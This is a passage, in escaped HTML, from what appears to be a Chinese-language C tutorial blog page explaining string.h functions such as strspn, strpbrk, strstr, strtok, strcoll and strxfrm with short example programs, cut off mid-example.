accept)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrcspn\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *str, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *reject)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个函数接受两个参数,第一个参数是源字符串,第二个参数是由指定字符组成的字符串。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrspn()\u003c/code\u003e从第一个参数的开头开始查找,一旦发现第一个不属于指定字符集范围的字符,就停止查找,返回到目前为止的字符串长度。如果始终没有不在指定字符集的字符,则返回第一个参数字符串的长度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcspn()\u003c/code\u003e则是一旦发现第一个属于指定字符集范围的字符,就停止查找,返回到目前为止的字符串长度。如果始终没有发现指定字符集的字符,则返回第一个参数字符串的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str[] = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003en = \u003cspan class=\"built_in\"\u003estrspn\u003c/span\u003e(str1, \u003cspan class=\"string\"\u003e\u0026#34;aeiou\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, n); \u003cspan class=\"comment\"\u003e// n == 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003en = \u003cspan class=\"built_in\"\u003estrcspn\u003c/span\u003e(str1, \u003cspan class=\"string\"\u003e\u0026#34;aeiou\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, n); \u003cspan class=\"comment\"\u003e// n == 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一个\u003ccode\u003en\u003c/code\u003e等于0,因为0号位置的字符\u003ccode\u003eh\u003c/code\u003e就不属于指定字符集\u003ccode\u003eaeiou\u003c/code\u003e,可以理解为开头有0个字符属于指定字符集。第二个\u003ccode\u003en\u003c/code\u003e等于1,因为1号位置的字符\u003ccode\u003ee\u003c/code\u003e属于指定字符集\u003ccode\u003eaeiou\u003c/code\u003e,可以理解为开头有1个字符不属于指定字符集。\u003c/p\u003e\u003ch4 id=\"strpbrk\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strpbrk\" class=\"headerlink\" title=\"strpbrk()\"\u003e\u003c/a\u003estrpbrk()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrpbrk()\u003c/code\u003e在字符串中搜索指定字符集的任一个字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrpbrk\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是源字符串,第二个参数是由指定字符组成的字符串。\u003c/p\u003e\u003cp\u003e它返回一个指向第一个匹配字符的指针,如果未找到匹配字符,则返回 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1 = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2 = \u003cspan class=\"string\"\u003e\u0026#34;dow!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003estrpbrk\u003c/span\u003e(s1, s2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, p); \u003cspan class=\"comment\"\u003e// \u0026#34;o, world!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指定字符集是“dow!”,那么\u003ccode\u003es1\u003c/code\u003e里面第一个匹配字符是“Hello”的“o”,所以指针\u003ccode\u003ep\u003c/code\u003e指向这个字符。输出的话,就会输出从这个字符直到字符串末尾的“o, world!”。\u003c/p\u003e\u003ch4 id=\"strstr\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strstr\" class=\"headerlink\" title=\"strstr()\"\u003e\u003c/a\u003estrstr()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrstr()\u003c/code\u003e在一个字符串里面,查找另一个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003estrstr\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* str,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* substr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是源字符串,第二个参数是所要查找的子字符串。\u003c/p\u003e\u003cp\u003e如果匹配成功,就返回一个指针,指向源字符串里面的子字符串。如果匹配失败,就返回 NULL,表示无法找到子字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str = \u003cspan class=\"string\"\u003e\u0026#34;The quick brown fox jumped over the lazy dogs.\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003estrstr\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;lazy\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, p == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e ? \u003cspan class=\"string\"\u003e\u0026#34;null\u0026#34;\u003c/span\u003e: p); \u003cspan class=\"comment\"\u003e// \u0026#34;lazy dogs.\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estrstr()\u003c/code\u003e用来在源字符串\u003ccode\u003estr\u003c/code\u003e里面,查找子字符串\u003ccode\u003elazy\u003c/code\u003e。从返回的指针到字符串结尾,就是“lazy dogs.”。\u003c/p\u003e\u003ch4 id=\"strtok\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strtok\" class=\"headerlink\" title=\"strtok()\"\u003e\u003c/a\u003estrtok()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrtok()\u003c/code\u003e用来将一个字符串按照指定的分隔符(delimiter),分解成一系列词元(tokens)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrtok\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* delim)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是待拆分的字符串,第二个参数是指定的分隔符。\u003c/p\u003e\u003cp\u003e它返回一个指针,指向分解出来的第一个词元,并将词元结束之处的分隔符替换成字符串结尾标志\u003ccode\u003e\\0\u003c/code\u003e。如果没有待分解的词元,它返回 NULL。\u003c/p\u003e\u003cp\u003e如果要遍历所有词元,就必须循环调用,参考下面的例子。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrtok()\u003c/code\u003e的第一个参数如果是 NULL,则表示从上一次\u003ccode\u003estrtok()\u003c/code\u003e分解结束的位置,继续往下分解。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e[] = \u003cspan class=\"string\"\u003e\u0026#34;This is a sentence with 7 tokens\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* tokenPtr = strtok(\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (tokenPtr != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, tokenPtr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tokenPtr = strtok(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将源字符串按照空格,分解词元。它的输出结果如下。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThis\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eis\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esentence\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewith\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etokens\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003estrtok()\u003c/code\u003e会修改原始字符串,将所有分隔符都替换成字符串结尾符号\u003ccode\u003e\\0\u003c/code\u003e。因此,最好生成一个原始字符串的拷贝,然后再对这个拷贝执行\u003ccode\u003estrtok()\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"strcoll\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcoll\" class=\"headerlink\" title=\"strcoll()\"\u003e\u003c/a\u003estrcoll()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrcoll()\u003c/code\u003e用于比较两个启用了本地化设置的字符串,用法基本与\u003ccode\u003estrcmp()\u003c/code\u003e相同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrcoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e请看下面的示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报告 é \u0026gt; f\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;é\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;f\u0026#34;\u003c/span\u003e)); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报告 é \u0026lt; f\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, strcoll(\u003cspan class=\"string\"\u003e\u0026#34;é\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;f\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例比较带重音符号的\u003ccode\u003eé\u003c/code\u003e与\u003ccode\u003ef\u003c/code\u003e,\u003ccode\u003estrcmp()\u003c/code\u003e会返回\u003ccode\u003eé\u003c/code\u003e大于\u003ccode\u003ef\u003c/code\u003e,而\u003ccode\u003estrcoll()\u003c/code\u003e就会正确识别\u003ccode\u003eé\u003c/code\u003e排在\u003ccode\u003ef\u003c/code\u003e前面,所以小于\u003ccode\u003ef\u003c/code\u003e。注意,在比较之前,需要使用\u003ccode\u003esetlocale(LC_ALL, \u0026#34;\u0026#34;)\u003c/code\u003e,启用本地化设置。\u003c/p\u003e\u003ch4 id=\"strxfrm\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strxfrm\" class=\"headerlink\" title=\"strxfrm()\"\u003e\u003c/a\u003estrxfrm()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrxfrm()\u003c/code\u003e将一个本地化字符串转成可以使用\u003ccode\u003estrcmp()\u003c/code\u003e进行比较的形式,相当于\u003ccode\u003estrcoll()\u003c/code\u003e内部的第一部分操作。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrxfrm\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s1, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s2, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,将第二个参数\u003ccode\u003es2\u003c/code\u003e转为可以使用\u003ccode\u003estrcmp()\u003c/code\u003e比较的形式,并将结果存入第一个参数\u003ccode\u003es1\u003c/code\u003e。第三个参数\u003ccode\u003en\u003c/code\u003e用来限定写入的字符数,防止超出\u003ccode\u003es1\u003c/code\u003e的边界。\u003c/p\u003e\u003cp\u003e它返回转换后的字符串长度,不包括结尾的终止符。\u003c/p\u003e\u003cp\u003e如果第一个参数是 NULL,第三个参数是0,则不进行实际的转换,只返回转换后所需的字符串长度。\u003c/p\u003e\u003cp\u003e下面的示例是用这个函数自己实现一个\u003ccode\u003estrcoll()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 